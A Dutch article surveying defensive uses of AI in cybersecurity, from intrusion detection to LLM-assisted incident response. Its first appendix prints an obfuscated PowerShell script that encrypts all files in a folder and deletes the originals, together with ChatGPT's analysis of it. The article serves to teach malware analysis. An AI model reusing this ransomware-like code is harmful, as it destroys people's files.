Defensieve AI

Version en français

In een vorig artikel hebben we kort uitgelegd wat er achter de term ‘artificiële intelligentie’ schuilgaat door enkele basistechnieken te beschrijven die worden gebruikt in cybersecurity. In een tweede artikel hebben we een kijkje genomen naar het gebruik van AI om aanvallen op computersystemen te vergemakkelijken. We hebben in het bijzonder beschreven hoe AI verschillende aanvalsvectoren kan wijzigen of al wijzigt.

In het laatste artikel van deze serie bespreken we, na enkele algemene overwegingen, gebieden van cyberdefensie die baat hebben of zouden kunnen hebben bij AI, zoals intelligentie over cyberaanvallen, detectie en identificatie van cyberaanvallen en reactie op cybersecurity incidenten.

Inleiding

Al in 2018 meende Schneier [1] dat cyberdefensie meer zou profiteren van AI-technieken dan cyberaanval, omdat defensie volgens hem in een slechtere positie verkeert dan aanval, juist vanwege de grote menselijke componenten. Bovendien voorspelde hij dat tegenstanders hun aanvalsstrategie zouden blijven verbeteren door middel van automatisering, zodat de enige effectieve manier om deze aanvallen op machinesnelheid te verzwakken zou zijn door middel van automatisering. Deze stelling wordt ook verdedigd door Sarker et al. [2] die stellen dat AI een revolutie teweeg kan brengen op het gebied van cybersecurity, niet alleen door op grote schaal taken te automatiseren, maar ook door menselijke experts te helpen een situatie beter te begrijpen en beslissingen te nemen in echte scenario’s.

Het adviesbureau Gartner verwacht dat AI zal bijdragen aan een vermindering van 30% van het percentage vals-positieven bij het testen van toepassingen en het opsporen van bedreigingen voor 2027 [3]. De nieuwe tools die onlangs zijn aangekondigd door toonaangevende bedrijven in de markt, waaronder CrowdStrike, zouden volgens Gartner inderdaad kunnen helpen om de productiviteit en vaardigheden van beheerders te verbeteren. Er is geen tekort aan ideeën, maar zoals de auteurs van de nota van het adviesbureau aangeven, bestaan de zoek- en analysefunctionaliteiten al, en wat nieuw is, is in wezen de interactiviteit tussen de menselijke analisten en de machine.

Taddeo et al. [4] temperen de hype in AI voor cyberdefensie door erop te wijzen dat het vertrouwen in AI voor de robuustheid, veerkracht en respons van cybersecuritysystemen onterecht is en dringen erop aan dat een vorm van controle noodzakelijk is om beveiligingsrisico’s te beperken. De auteurs gebruiken de term vertrouwen in zijn puurste betekenis: een beslissing om te delegeren, zonder enige vorm van controle of toezicht, een acceptatie van een risico op afhankelijkheid. Ze wijzen op het gebrek aan transparantie van AI en de evolutie van een AI-systeem in de tijd als belangrijke beperkingen en bevelen in het bijzonder een “in-house” implementatie aan voor kritieke nationale infrastructuren en voortdurende monitoring van het AI-systeem en de evolutie ervan.

Dasgupta et al. [5] hebben de meeste recente publicaties over het gebruik van AI op het gebied van cybersecurity beoordeeld. Volgens hen blijft een cruciaal punt de prestaties (in termen van reactiesnelheid, maar ook vermindering van het aantal fout-positieven en fout-negatieven) van detectietools, die grote gevolgen kunnen hebben voor het systeem waarin ze worden ingezet.

In de volgende paragrafen gaan we dieper in op verschillende gebieden van cyberdefensie die baat kunnen hebben bij AI.

Intelligentie over cyberaanvallen

Inlichtingen over cyberbedreigingen is het proces van het verzamelen, analyseren en verspreiden van informatie over huidige en opkomende cyberbedreigingen, zoals actoren, doelwitten, technieken, tools, enz. Deze informatie kan organisaties helpen zich proactief te verdedigen tegen cyberaanvallen door beveiligingsteams tijdig van bruikbare informatie te voorzien.

Tegenwoordig wordt Open Source Intelligence (OSINT) op grote schaal gebruikt door overheden en inlichtingendiensten om cybercriminaliteit te onderzoeken en te bestrijden [6]. Het hoofddoel van het Europese DiSIEM-project1 was om verschillende bronnen van OSINT-gegevens te integreren in SIEM-systemen (Security Information and Event Management) om te helpen reageren op nieuw ontdekte kwetsbaarheden in de infrastructuur of zelfs om mogelijke opkomende bedreigingen te voorspellen2.

In principe zou een Large Language Model (LLM) getraind op grote gegevensbronnen zoals webfora, gespecialiseerde websites over kwetsbaarheden en incidenten, of sociale netwerken kunnen worden gebruikt om inlichtingenrapporten over cyberdreigingen te genereren. LLM’s zouden gebruikt kunnen worden om sneller toegang te krijgen tot technische documentatie en inlichtingen uit gespecialiseerde bronnen. Sewak et al. [8] beweren dat LLM’s automatisch informatie uit verschillende bronnen kunnen extraheren, valideren en samenvatten, zoals dreigingsrapporten, literatuur, scripts enz. Ze wijzen er met name op dat LLM’s kwaadaardige bedoelingen in scripts kunnen identificeren. Hun aanpak is in staat om meer dan 90%3 van de scripts te ontdekken die daadwerkelijk kwaadaardig zijn in een detectietaak.

Detectie en identificatie van cyberaanvallen

AI kan een rol spelen bij de detectie en identificatie van cyberaanvallen door inbraak- en malwaredetectiesystemen te verbeteren en waarschuwingen effectiever te beheren.

Inbraakdetectie

Volgens NIST [9] verwijst een inbraakdetectiesysteem (IDS) naar “het proces waarbij gebeurtenissen in een computersysteem of netwerk worden gemonitord en geanalyseerd op tekenen van mogelijke incidenten.” Hoewel vroege ontwikkelingen van zulke systemen zich richtten op benaderingen die gebaseerd waren op handtekeningen, publiceerde Denning in 1986 een IDS-model [10] gebaseerd op anomaliedetectie4 dat vandaag de dag nog steeds de basis vormt van veel systemen. Het belangrijkste voordeel van anomaliedetectiemethoden is dat ze soorten incidenten kunnen detecteren die nog niet eerder zijn gezien. Vandaag de dag zijn het unsupervised machine learning methoden die vaak gebruikt worden voor anomaliedetectie: netwerkactiviteit wordt vergeleken met een vooraf getrainde en genormaliseerde baseline van normaal gedrag, waardoor het systeem onbekende kwaadaardige activiteit kan detecteren, in tegenstelling tot handtekeningmethoden.

Een benadering is om een artificieel neuraal netwerk te trainen om te leren of netwerkverkeer normaal is of overeenkomt met een klasse van aanvallen. In de praktijk gaat dit als volgt:

  1. Een expert verzamelt een dataset met zowel normaal netwerkverkeer als aanvallen.
  2. Op een zeer krachtige machine wordt een neuraal netwerk getraind om het verschil tussen normaal verkeer en aanvalsverkeer te classificeren.
  3. Een kopie van het in de vorige stap geleerde model wordt overgebracht naar het operationele inbraakdetectiesysteem van de organisatie.
  4. Het inbraakdetectiesysteem past het model toe op het waargenomen netwerkverkeer.

Er zijn veel leermethoden om uit te kiezen, maar volgens Appruzzese et al. [11], zijn unsupervised leermethoden bijzonder populair voor inbraakdetectiesystemen op communicatienetwerken vanwege de moeilijkheid en de kosten om gelabelde gegevens te verkrijgen. Bovendien is volgens deze auteurs de superioriteit van deep learning-netwerken voor inbraakdetectie in vergelijking met andere AI-technieken niet bewezen en rechtvaardigen de complexiteit en extra computerkosten niet noodzakelijk hun toepassing.

Hier volgen enkele voorbeelden van het gebruik van unsupervised technieken die worden gebruikt voor inbraakdetectie:

  • Bohara et al. [12] gebruiken verschillende anomaliedetectietechnieken, waaronder Principal Component Analysis (PCA), partitionering in -means en outlier-detectie op basis van de absolute mediaanafwijking om laterale5 bewegingen in een netwerk te detecteren. De auteurs behaalden een true positive rate (TPR) van 88,7% en een false positive rate (FPR) van 14,1%.
  • In [13], presenteren de auteurs een methode voor het automatisch genereren van een grijze lijst van externe hosts die een hoge waarschijnlijkheid hebben om betrokken te zijn bij kwaadaardige taggingactiviteiten in verhouding tot de set van alle externe hosts waarmee de beschermde organisatie doorgaans contact opneemt. Hun voorstel is gebaseerd op clusteringstechnieken die worden toegepast op netwerkstromen.
  • Om het probleem van onevenwichtigheid tussen het aantal positieve en negatieve samples in inbraaklogs (doorgaans is er zeer weinig kwaadaardig verkeer in vergelijking met legitiem verkeer) aan te pakken, gebruiken Yang et al. [14] een Deep Convolutional Generative Adversarial Network (DCGAN) om een realtime inbraakdetectiesysteem te bouwen. DCGAN houdt een balans tussen positieve en negatieve samples door nieuwe synthetische data te genereren. Om realtime analyse mogelijk te maken, gebruiken de auteurs Gates Recurrent Units (GRU), die efficiënter zijn dan een Long and Short Term Memory (LSTM) recurrent netwerk omdat ze minder parameters gebruiken. Het systeem bereikt een nauwkeurigheid van 99,73%.

Tot slot zijn er ook tools op basis van LLM’s verschenen voor inbraakdetectie. De PentestGPT6 tool is bijvoorbeeld een door LLM (in dit geval ChatGPT-4) geoptimaliseerde tool voor het testen van inbraken  die het testen van inbraken automatiseert door testers door de algemene werking en specifieke bewerkingen te leiden. PentestGPT is met succes getest op HackTheBox7 en via verschillende Capture the Flag (CTF)-competities op eenvoudige en gemiddelde niveaus.

Malware detecteren

Machine learning kan worden gebruikt voor zowel statische als dynamische analyse van malware. Statische analyse is echter onderhevig aan relatief eenvoudige workarounds door de executable aan te passen zonder de onderliggende logica te veranderen of met meer geavanceerde varianten (bijv. polymorfisme) die de executable automatisch aanpassen.

Dynamische analyse in combinatie met machine learning is effectiever [11]. Maar er zijn verschillende beperkingen voor de toepasbaarheid van de nieuwste academische ontwikkelingen op het gebied van machine learning voor de detectie van malware [15], waaronder:

  • Misinterpretatie van de prestatiemeting, deels door het vergeten van de basisfrequentie – een cognitieve bias gekoppeld aan statistische wetten 8;
  • Testdatabases zijn vaak enkele jaren oud en houden daarom geen rekening met de nieuwe bypassmethoden die worden geïmplementeerd door tegenstanders, of met de nieuwe programmeerinterfaces die beschikbaar zijn. Volgens [16], maakt een groot aantal recente onderzoeken naar federated learning voor inbraakdetectie nog steeds gebruik van publieke databases die voor 2017 zijn gemaakt, en dus met aanvallen die niet noodzakelijk de huidige communicatienetwerken weerspiegelen.

Alert management

Het sorteren van beveiligingsalerts is een relatief tijdrovende taak, maar het kan worden versneld door contextuele informatie beschikbaar te maken voor analisten, zodat ze niet van de ene logging- of analysetool naar de andere hoeven te springen om te begrijpen wat er aan de hand is. Bijvoorbeeld: geolocatie van een IP-adres, naam van de organisatie die het IP beheert, leeftijd van het domein, reputatie van de hashwaarde van een bestand, type van het overeenkomstige bestand, automatische schermafbeelding van een URL, informatie over de host en zijn omgeving, enz. Deze alerts kunnen ook direct worden verrijkt door een LLM (bijv. categorisering, information issue van gespecialiseerde inlichtingendiensten, risicoscore).

Daarnaast kunnen machine-learningtechnieken worden gebruikt om waarschuwingen te filteren, te sorteren, te prioriteren en te aggregeren om triage en incidentrespons te vergemakkelijken. Su et al. [17] stellen bijvoorbeeld een methode voor om fout-positieve filtering te automatiseren met behulp van kernel density estimation (KDE)9. Volgens de auteurs vermindert dit de tijd die nodig is om alerts te controleren met 75%.

Reageren op cybersecurityincidenten

De reactie op incidenten is een belangrijk onderdeel van de cybersecuritystrategie van een organisatie. Een goed voorbereide reactie kan de schade van een veiligheidsinbreuk of een cyberaanval helpen beperken. De snelheid en nauwkeurigheid van deze reacties is echter van het grootste belang. LLM’s kunnen helpen deze processen te versnellen en te stroomlijnen, door geautomatiseerde reacties te geven en zelfs te helpen bij het ontwikkelen van incident response plannen. Een van de kenmerken van de LLM-architectuur is de mogelijkheid om natuurlijke, contextgebaseerde tekst te genereren. Dit kan worden gebruikt om een AI-gestuurde assistent voor incidentrespons te maken, die tijdens een incident direct advies kan geven en gebeurtenissen automatisch kan documenteren terwijl ze zich voordoen. PaloAlto XSOAR10 gebruikt bijvoorbeeld ChatGPT om handleidingen te genereren voor het omgaan met bepaalde aanvallen (zie Figuur 1).

Dear Analyst,

The following is an analysis for Incident No. #3332 by ChatGPT:

1- Analysis (Incident Description):

On Tuesday 2023-May-09 at 12:46:03 PM, a workstation with the hostname “testlab” was compromised through the MitreAttack technique of OS Credential Dumping by the Poseidon Group. The indicator of compromise, 31ebide7840a342fd468e558e5ab627bcb4c542a8fe01aec4d5ba01d539aOfc, has a malicious reputation.

2- Impact Analysis:

The compromised workstation may have granted the attacker access to sensitive information and credentials on the network, which could potentially lead to further attacks and data breaches. The Poseidon Group is a known advanced persistent threat (APT) group, and their attacks are often highly targeted and sophisticated, making it imperative to respond quickly and effectively to mitigate potential damage.

3- Action or Recommendations:

  1. Isolate the compromised workstation: The first step in responding to a security incident is to isolate the compromised system from the network to prevent further damage or spread of the attack. The compromised workstation with the IP address 10.10.10.10 should be taken offline immediately to prevent the attacker from further accessing or exfiltrating sensitive information.
  2. Conduct a forensic investigation: A thorough forensic investigation should be conducted to determine the extent of the damage and whether any other machines on the network have been compromised. The investigation should aim to identify the initial point of entry, the scope of the attack, and any data that may have been exfiltrated by the attacker.
  3. Remediate and patch vulnerabilities: The investigation should identify any vulnerabilities or weaknesses in the security infrastructure that allowed the attack to take place and patch or remediate these as quickly as possible to prevent similar incidents from occurring in the future.
  4. Deploy additional security measures: Additional security measures may need to be deployed to prevent further attacks by the Poseidon Group or other APT groups. This may include deploying intrusion detection and prevention systems, implementing Two-Factor Authentication (2FA), and training employees on how to identify and respond to potential security incidents.
  5. Notify appropriate authorities: Depending on the sensitivity and nature of the data that may have been compromised, it may be necessary to notify appropriate authorities such as law enforcement or regulatory bodies.

The company should review their incident response plan and determine the appropriate steps to take regarding notification and disclosure.


Your SOC Team
Cortex XSOAR

Figuur 1 – Door XSOAR voorgestelde informatie om een reactie op een beveiligingsincident te beheren (uit [18]).

Ferrag et al. [19] gebruiken FalconLLM11 om de ernst en potentiële impact te analyseren van een aanval die is geïdentificeerd door een inbraakdetectiesysteem door deze te vergelijken met de interne database. Op een vergelijkbare manier als PaloAlto XSOAR kan de tool ook suggesties doen voor mogelijke mitigatiestrategieën en herstelprocedures, die als leidraad kunnen dienen voor een responsteam. De voorgestelde antwoorden blijven echter erg algemeen en zijn mogelijk niet bruikbaar voor een ervaren beheerder (zie Figuur 2).

Cyber Threats detected by SecurityBERT:

SecurityBERT has detected a cyber threat in our industrial network: a Backdoor attack. Can you propose to me a mitigation solution?

FalconLLM model incident response and recovery output:

Yes, I can. There are a few steps that can be taken to mitigate the Backdoor threat. Firstly, it’s important to identify the source of the attack. This could be done by monitoring the network traffic and looking for any suspicious activity. Once the source has been identified, it’s important to block any further attempts to access the network. This can be done by implementing firewalls, intrusion detection systems, and other security measures. Additionally, it’s important to update all software and patches to ensure that the network is as secure as possible. It’s also a good idea to regularly audit the network for any potential vulnerabilities.

Figuur 2 – voorbeeld van een door FalconLLM voorgestelde risicobeperkende strategie (bron [19]).

Generatieve AI kan ook worden gebruikt om bepaalde aspecten van de analyse van cyberincidenten door analisten in een veiligheidsoperatiecentrum te automatiseren. Volgens A. Krishnan [20] kan ChatGPT bijvoorbeeld worden gebruikt om te beschrijven wat een Powershellscript doet (zie voorbeeld in bijlage). Op dezelfde manier zouden deze tools, omdat ze ook code kunnen genereren, gebruikt kunnen worden om het voor analisten eenvoudiger te maken om loganalysescripts te schrijven (zie bijlage).

De automatisering van de incidentrespons wordt ook overwogen, maar een groot probleem blijft de toewijzing van de verantwoordelijkheid. Dit wordt nog bemoeilijkt door het feit dat AI-systemen tot nu toe niet erg transparant en moeilijk uit te leggen zijn.

Tot slot spelen gedetailleerde rapporten over cybersecurity-incidenten een belangrijke rol bij het helpen van belangrijke stakeholders, waaronder operationele beveiligingsteams en beveiligingsmanagers, om de beveiligingshuishouding van een organisatie beter te begrijpen en te verbeteren. Sommigen overwegen het gebruik van generatieve AI om logs van incidenten te synthetiseren en rapporten te schrijven om sneller actie te kunnen ondernemen.

Veilig code genereren

Kwetsbaarheden in code zijn een terugkerend probleem dat de meeste software treft en een impact heeft op integriteit, vertrouwelijkheid en beschikbaarheid. Er wordt aangeraden om bepaalde programmeertalen te gebruiken waarvan bekend is dat ze minder gevoelig zijn voor klassieke problemen dan andere (bijv. Rust in plaats van C). Code review door andere expertprogrammeurs is ook een veelgebruikte methode.

Maar de analyse van Ganseman [21] roept de vraag op of LLM’s nuttig zijn om fouten of bugs in bestaande code op te sporen of om te helpen veiligere code te schrijven. De moeilijkheid ligt in het feit dat het voorlopig nodig is om de mogelijke plaatsen aan te geven waar de code niet veilig is, dat wil zeggen dat het aan de ontwikkelaar is om te detecteren waar een verbetering mogelijk is. Het kan zijn dat in de nabije toekomst een hele code base aan een security review kan worden onderworpen, maar op dit moment is dit beperkt tot de lengte van de context en hoe preciezer de vraag, hoe beter het antwoord.

Paradoxaal genoeg rapporteerden Perry et al. [22] in een recent onderzoek dat, hoewel assistenten de productiviteit van ontwikkelaars verhogen, deelnemers met toegang tot een assistent gebaseerd op een AI-model (in dit geval OpenAI’s codex-davinci-002) significant minder veilige code schreven dan degenen zonder toegang. Erger nog, deelnemers met toegang tot de assistent geloofden vaker dat ze veilige code schreven dan deelnemers zonder toegang. Het gebruik van wizards vereist daarom de implementatie van systematische codecontrole en statische analyse [21].

Conclusie

Hoewel AI op veel gebieden bliksemsnelle vooruitgang boekt, is de niet te verwaarlozen bijdrage ervan aan de verdediging van IT-systemen nog steeds beperkt: we zijn nog ver verwijderd van tools waarmee het voldoende zou zijn om terabytes aan eventlogs aan te bieden om tekenen van inbraak snel en met weinig fouten te detecteren.

Vandaag de dag wordt er nog steeds veel onderzoek gedaan naar gespecialiseerde statistische en machine learning methoden – zoals anomaliedetectie – en worden deze toegevoegd aan commerciële tools voor inbraakdetectie met het label “AI”. Maar bij nader inzien blijkt AI vooral een nieuwe ‘productiviteitstool’ te zijn voor cybersecurityprofessionals, die helpt bij het automatiseren van bepaalde cyberdefensietaken of bij het faciliteren van incidentrespons en die de verwerking van informatie over bedreigingen vergemakkelijkt, maar niet de menselijke analist vervangt.

Referenties

[1]        B. Schneier, ‘Artificial Intelligence and the Attack/Defense Balance’, IEEE Secur. Priv., vol. 16, nr. 2, pp. 96-96, mrt. 2018, doi: 10.1109/MSP.2018.1870857

[2]        I. H. Sarker, H. Janicke, L. Maglaras, en S. Camtepe, ‘Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper’. arXiv, 9 augustus 2023. Geraadpleegd: 27 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.05126

[3]        J. D’Hoinne, A. Litan, en P. Firstbrook, ‘4 Ways Generative AI Will Impact CISOs and Their Teams’, Gartner, G00793265, jun. 2023.

[4]        M. Taddeo, T. McCutcheon, en L. Floridi, ‘Trusting artificial intelligence in cybersecurity is a double-edged sword’, Nat. Mach. Intell., vol. 1, nr. 12, pp. 557-560, nov. 2019, doi: 10.1038/s42256-019-0109-1

[5]        D. Dasgupta, Z. Akhtar, en S. Sen, ‘Machine learning in cybersecurity: a comprehensive survey’, J. Def. Model. Simul. Appl. Methodol. Technol., vol. 19, nr. 1, pp. 57-106, jan. 2022, doi: 10.1177/1548512920951275

[6]        M. Nouh, J. R. C. Nurse, H. Webb, en M. Goldsmith, ‘Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement’, in Proceedings 2019 Workshop on Usable Security, 2019. doi: 10.14722/usec.2019.23032

[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, en D. Napolitano, ‘Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence’, J. Appl. Secur. Res., vol. 16, nr. 3, pp. 345-369, jul. 2021, doi: 10.1080/19361610.2020.1761737

[8]        M. Sewak, V. Emani, en A. Naresh, ‘CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks’, 2023.

[9]        K. A. Scarfone en P. M. Mell, ‘Guide to intrusion detection and prevention systems (IDPS)’, National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: 10.6028/NIST.SP.800-94

[10]      D. Denning, ‘An Intrusion-Detection Model’, IEEE Trans. Softw. Eng., vol. 13, nr. 2, pp. 222-232, 20.

[11]      G. Apruzzese e.a., ‘The role of machine learning in cybersecurity’, Digit. Threats Res. Pract., vol. 4, nr. 1, pp. 1-38, mrt. 2023, doi: 10.1145/3545574

[12]      A. Bohara, M. A. Noureddine, A. Fawaz, en W. H. Sanders, ‘An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement’, in 2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS), Hong Kong, Hong Kong: IEEE, sep. 2017, pp. 224-233. doi: 10.1109/SRDS.2017.31

[13]      G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, en A. Guido, ‘Identifying malicious hosts involved in periodic communications’, in 2017 IEEE 16th International Symposium on Network Computing and Applications (NCA), Cambridge, MA: IEEE, okt. 2017, pp. 1-8. doi: 10.1109/NCA.2017.8171326

[14]      J. Yang, T. Li, G. Liang, W. He, en Y. Zhao, ‘A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN’, IEEE Access, vol. 7, pp. 83286-83296, 2019, doi: 10.1109/ACCESS.2019.2922692

[15]      L. Cavallaro, J. Kinder, F. Pendlebury, en F. Pierazzi, ‘Are Machine Learning Models for Malware Detection Ready for Prime Time?’, IEEE Secur. Priv., vol. 21, nr. 2, pp. 53-56, mrt. 2023, doi: 10.1109/MSEC.2023.3236543

[16]      J. L. Hernández-Ramos e.a., ‘Intrusion detection based on federated learning: a systematic review’. arXiv, 18 augustus 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.09522

[17]      Y.-H. Su, M. C. Y. Cho, en H.-C. Huang, ‘False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering’, in Proceedings of the 2nd International Conference on Computing and Big Data, Taichung Taiwan: ACM, okt. 2019, pp. 58-62. doi: 10.1145/3366650.3366657

[18]      M. Gupta, C. Akiri, K. Aryal, E. Parker, en L. Praharaj, ‘From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy’, IEEE Access, vol. 11, pp. 80218-80245, aug. 2023, doi: 10.1109/ACCESS.2023.3300381

[19]      M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, en T. Lestable, ‘Revolutionizing Cyber Threat Detection with Large Language Models’. arXiv, 25 juni 2023. Geraadpleegd: 8 november 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2306.14263

[20]      A. Krishnan, ‘4 ChatGPT cybersecurity benefits for the enterprise | TechTarget’, Security. Geraadpleegd: 12 oktober 2023. [Online]. Beschikbaar op: https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise

[21]      J. Ganseman, ‘LLM pour code : the Good, the Bad and the Ugly | Smals Research’, Smals Research Blog. Geraadpleegd: 18 oktober 2023. [Online]. Beschikbaar op: https://www.smalsresearch.be/llms-pour-code/

[22]      N. Perry, M. Srivastava, D. Kumar, en D. Boneh, ‘Do Users Write More Insecure Code with AI Assistants?’ arXiv, 16 december 2022. Geraadpleegd: 3 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2211.03622

Bijlage 1 – Kwaadaardige scriptanalyse met ChatGPT

In het onderstaande voorbeeld zie je het antwoord van ChatGPT 4.0 op de vraag “Wat doet deze code?” gevolgd door een codevoorbeeld. Ondanks de poging tot verduistering en het foutieve commentaar, kan worden gezien dat ChatGPT dit script, dat alle bestanden in de map “C:\local\chat_gpt_ps\test” en de submappen versleutelt, correct analyseert.

Script ingevoerd in ChatGPT

function Compute_SHA256 {
  # Compute SHA 256 of an object in memory
  [CmdletBinding()]
  [OutputType([string])]
    Param
    (
      [Parameter(Mandatory = $true)]
        [String]$salt,
        [Parameter(Mandatory = $true, ParameterSetName = "param")]
        [String]$object
    )
    Begin {
        # Initialise hashing function
        $tmp = New-Object byte[] 16
        $sha1 = New-Object System.Security.Cryptography.SHA256Managed
        $sha2 = New-Object System.Security.Cryptography.AesManaged
        $sha2.Mode = 'CBC' -as [System.Security.Cryptography.CipherMode]
        $sha2.Padding = 'Zeros' -as [System.Security.Cryptography.PaddingMode]
        $sha2.BlockSize = 128
        $sha2.KeySize = 256
        [void][Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($tmp)
        $sha2.IV = $tmp
    }
    Process {
        # Compute hash
        $sha2.Key = $sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($salt))
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="))
        $object2 = Invoke-Expression $dynCmd
        if (!$object2.FullName) {
            break
        }
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="))
        $input = Invoke-Expression $dynCmd
        $output = $object2.FullName + ".xxx"
        $sha2_hasher = $sha2.CreateEncryptor()
        $encryptedBytes = $sha2_hasher.TransformFinalBlock($input, 0, $input.Length)
        $encryptedBytes = $sha2.IV + $encryptedBytes
        $sha2.Dispose()
       
        $e = $output
        $encD = $encryptedBytes
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"))
        Invoke-Expression $dynCmd
        (Get-Item $output).LastWriteTime = $object2.LastWriteTime
        $f = $object2
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
        Invoke-Expression $dynCmd
        return "Sortie: $output"        
    }
    End {
        $sha1.Dispose()
        $sha2.Dispose()
    }
}

$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="))

Invoke-Expression $dynCmd | ForEach-Object {
    $object = $_.FullName
    Compute_SHA256 -salt "salty" -object $object
}

Antwoord van ChatGPT

Deze PowerShell-scriptfunctie, Compute_SHA256, lijkt de functionaliteit te hebben om bestanden op een bepaalde locatie te versleutelen met SHA256 en AES encryptie, en vervolgens de originele bestanden te verwijderen. Hier is een uitleg van de verschillende onderdelen van de functie:

  1. Functieparameters: De functie vereist twee parameters: salt, een zoutwaarde die gebruikt wordt voor hashing, en object, een pad naar een bestand dat verwerkt moet worden.
  2. Initialisatie:
    • New-Object byte[] 16: Een array van 16 bytes wordt gecreëerd voor gebruik als initialisatievector (IV).
    • SHA256Managed: Een instance van SHA256 wordt gecreëerd voor hashing.
    • AesManaged: Een instance van AES wordt geïnitialiseerd met CBC-modus, padding op ‘Zeros’, een blokgrootte van 128 bits en een sleutellengte van 256 bits.
    • De IV wordt ingesteld met random bytes.
  3. Verwerkingslogica:
    • De AES sleutel wordt ingesteld door de SHA256 hash van het zout.
    • Invoke-Expression: Wordt gebruikt om dynamisch commando’s uit te voeren die uit base64-gedecodeerde strings komen. Deze commando’s zijn:
      • Get-Item: Haalt het bestand op dat verwerkt moet worden.
      • ReadAllBytes: Leest alle bytes van het opgehaalde bestand.
      • WriteAllBytes: Schrijft de versleutelde bytes terug naar het bestand met een nieuwe extensie “.xxx”.
      • Remove-Item: Verwijdert het oorspronkelijke bestand.
    • De bestandsnaam van het verwerkte object wordt gebruikt om de outputbestandsnaam op te stellen door er “.xxx” aan toe te voegen.
    • De bytes van het bestand worden versleuteld met de vooraf geconfigureerde AES-instellingen.
    • De lastige schrijf- en verwijdercommando’s zijn ingebouwd in de dynamische commando’s die uitgevoerd worden via Invoke-Expression.
  4. Opschoning: Aan het einde van de functie worden de Dispose methoden aangeroepen op de hash- en encryptie-instanties om systeembronnen vrij te maken.
  5. Scriptuitvoering: Het script aan het eind haalt alle bestanden recursief op vanaf een bepaald pad en past de Compute_SHA256 functie toe op elk bestand met het zout ‘salty’.

Deze code kan potentieel schadelijk zijn als deze zonder toezicht in een productieomgeving wordt uitgevoerd, omdat het effectief bestanden versleutelt en vervolgens de originelen verwijdert. Het lijkt op ransomware-achtig gedrag, afhankelijk van het daadwerkelijke gebruik en de intentie. Gebruik en implementatie van dergelijke scripts moet met uiterste voorzichtigheid gebeuren.

Aanvullende vraag

Waar zie je dat de originele bestanden worden verwijderd?

Beantwoord door ChatGPT 4.0

De originele bestanden worden verwijderd in het script door het volgende gedeelte van de code in de Process blok:

$f = $object2 $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'" Invoke-Expression $dynCmd

Hier is wat er gebeurt in deze code:

  1. Opslaan van het bestandsobject: $f = $object2 slaat het bestandsobject op in $f. Dit object bevat de eigenschappen van het bestand dat verwerkt wordt, inclusief het volledige pad.
  2. Genereren van het verwijdercommando:
    • [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) decodeert een base64-encoded string die vertaald wordt naar “Remove-Item -Path “.
    • Dit wordt dan samengevoegd met ‘$f‘ (het pad van het bestand) om het complete PowerShell-commando te vormen dat het bestand zal verwijderen.
  3. Uitvoeren van het verwijdercommando: Invoke-Expression $dynCmd voert het samengestelde commando dynamisch uit, wat leidt tot het verwijderen van het bestand op het pad dat in $f is opgeslagen.

Dit gedeelte van het script zorgt er dus voor dat na de versleuteling van het bestand, het originele bestand van de schijf wordt verwijderd. Dit gedrag is typisch voor scripts die gebruikt worden in data-archivering of beveiliging, maar kan ook schadelijk zijn indien misbruikt.

Bijlage 2 – Analysescriptgeneratie

Voorbeeld van het genereren van een zeer eenvoudig event log analysescript in Splunk’s SPL taal.

Vraag

Schrijf een Splunk script dat entries filtert waarvan het IP bronadres niet gereserveerd is en niet in België ligt en waarvan de bestemming een klasse A IP is dat begint met 10.

Antwoord

Om een Splunk zoekopdracht te schrijven die log entries filtert gebaseerd op IP-adres criteria met een specifieke geografische locatie (België), plus de eerder genoemde IP-voorwaarden, heb je aanvullende informatie over de geolocatie van IP-adressen nodig. Als je Splunk omgeving ingesteld is om IP-geolocatie te ondersteunen (vaak via een geolocatie lookup tabel of externe integratie), kunnen we een effectieve zoekopdracht schrijven die de geolocatie data integreert.

